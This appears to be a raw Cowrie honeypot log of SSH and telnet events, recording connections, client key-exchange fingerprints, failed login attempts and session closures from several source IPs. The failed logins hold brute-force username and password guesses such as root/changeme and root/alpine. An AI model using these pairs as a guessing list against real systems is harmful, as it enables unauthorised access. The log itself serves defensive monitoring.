{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:21.905835Z","src_ip":"199.192.25.149","session":"120f09c6c7cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lebanon","password":"Beirut#Ethereum@S3cur3","message":"login attempt [lebanon/Beirut#Ethereum@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:22.109133Z","src_ip":"199.192.25.149","session":"120f09c6c7cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.720301389694214,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:22.554011Z","src_ip":"170.64.224.25","session":"98e43e2ab68d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:23.178409Z","src_ip":"199.192.25.149","session":"120f09c6c7cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":58330,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a3f164852b2","protocol":"ssh","message":"New connection: 185.242.3.195:58330 (10.17.0.5:22) [session: 1a3f164852b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:57.823016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:57.826848Z","src_ip":"185.242.3.195","session":"1a3f164852b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:57.918012Z","src_ip":"185.242.3.195","session":"1a3f164852b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cindylee1","message":"login attempt [root/Cindylee1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:58.192954Z","src_ip":"185.242.3.195","session":"1a3f164852b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:59.381425Z","src_ip":"185.242.3.195","session":"1a3f164852b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":58084,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfaafa081f16","protocol":"ssh","message":"New connection: 103.149.28.157:58084 (10.17.0.5:22) [session: cfaafa081f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:17.125788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:17.130733Z","src_ip":"103.149.28.157","session":"cfaafa081f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:17.382158Z","src_ip":"103.149.28.157","session":"cfaafa081f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"racecar","message":"login attempt [root/racecar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:18.128531Z","src_ip":"103.149.28.157","session":"cfaafa081f16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:19.379458Z","src_ip":"103.149.28.157","session":"cfaafa081f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":51146,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5d5a757dc07","protocol":"ssh","message":"New connection: 91.92.40.176:51146 (10.17.0.5:22) [session: b5d5a757dc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:33.908053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:34.215746Z","src_ip":"91.92.40.176","session":"b5d5a757dc07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:34.218436Z","src_ip":"91.92.40.176","session":"b5d5a757dc07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:34.854703Z","src_ip":"91.92.40.176","session":"b5d5a757dc07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:45:36.144020Z","src_ip":"91.92.40.176","session":"b5d5a757dc07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00719785690308,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:46:12.371691Z","src_ip":"137.184.5.188","session":"2d79862502ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":37230,"dst_ip":"159.203.135.109","dst_port":22,"session":"6731b162ba78","protocol":"ssh","message":"New connection: 103.77.175.15:37230 (159.203.135.109:22) [session: 6731b162ba78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:46:38.359295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:46:38.363273Z","src_ip":"103.77.175.15","session":"6731b162ba78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:46:38.587662Z","src_ip":"103.77.175.15","session":"6731b162ba78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maruska","message":"login attempt [root/maruska] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:46:39.260450Z","src_ip":"103.77.175.15","session":"6731b162ba78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:46:40.487503Z","src_ip":"103.77.175.15","session":"6731b162ba78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":46306,"dst_ip":"10.17.0.5","dst_port":22,"session":"76acf9859ef3","protocol":"ssh","message":"New connection: 91.92.40.176:46306 (10.17.0.5:22) [session: 76acf9859ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:29.714677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:29.842648Z","src_ip":"91.92.40.176","session":"76acf9859ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:29.845589Z","src_ip":"91.92.40.176","session":"76acf9859ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60820,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fa314556382","protocol":"telnet","message":"New connection: 170.64.224.25:60820 (159.203.135.109:23) [session: 8fa314556382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:30.535565Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:31.102262Z","src_ip":"91.92.40.176","session":"76acf9859ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:32.356265Z","src_ip":"91.92.40.176","session":"76acf9859ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":50696,"dst_ip":"159.203.135.109","dst_port":22,"session":"269e55ba85fc","protocol":"ssh","message":"New connection: 162.241.33.238:50696 (159.203.135.109:22) [session: 269e55ba85fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:36.240852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:36.244092Z","src_ip":"162.241.33.238","session":"269e55ba85fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:36.269304Z","src_ip":"162.241.33.238","session":"269e55ba85fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"W1f$Tr0ng@P@ss","message":"login attempt [root/W1f$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:36.344674Z","src_ip":"162.241.33.238","session":"269e55ba85fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:47:37.371754Z","src_ip":"162.241.33.238","session":"269e55ba85fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.389612674713135,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:48:19.925050Z","src_ip":"170.64.224.25","session":"8fa314556382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":45208,"dst_ip":"159.203.135.109","dst_port":23,"session":"de75703d0606","protocol":"telnet","message":"New connection: 137.184.5.188:45208 (159.203.135.109:23) [session: de75703d0606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:49:18.814079Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37670,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba5025d5c7d","protocol":"ssh","message":"New connection: 91.92.40.176:37670 (10.17.0.5:22) [session: 0ba5025d5c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:49:22.088022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:49:22.192349Z","src_ip":"91.92.40.176","session":"0ba5025d5c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:49:22.194577Z","src_ip":"91.92.40.176","session":"0ba5025d5c7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:49:23.346856Z","src_ip":"91.92.40.176","session":"0ba5025d5c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:49:24.609446Z","src_ip":"91.92.40.176","session":"0ba5025d5c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":59902,"dst_ip":"159.203.135.109","dst_port":23,"session":"a81bd4b45cff","protocol":"telnet","message":"New connection: 137.184.5.188:59902 (159.203.135.109:23) [session: a81bd4b45cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:50:06.020549Z"}
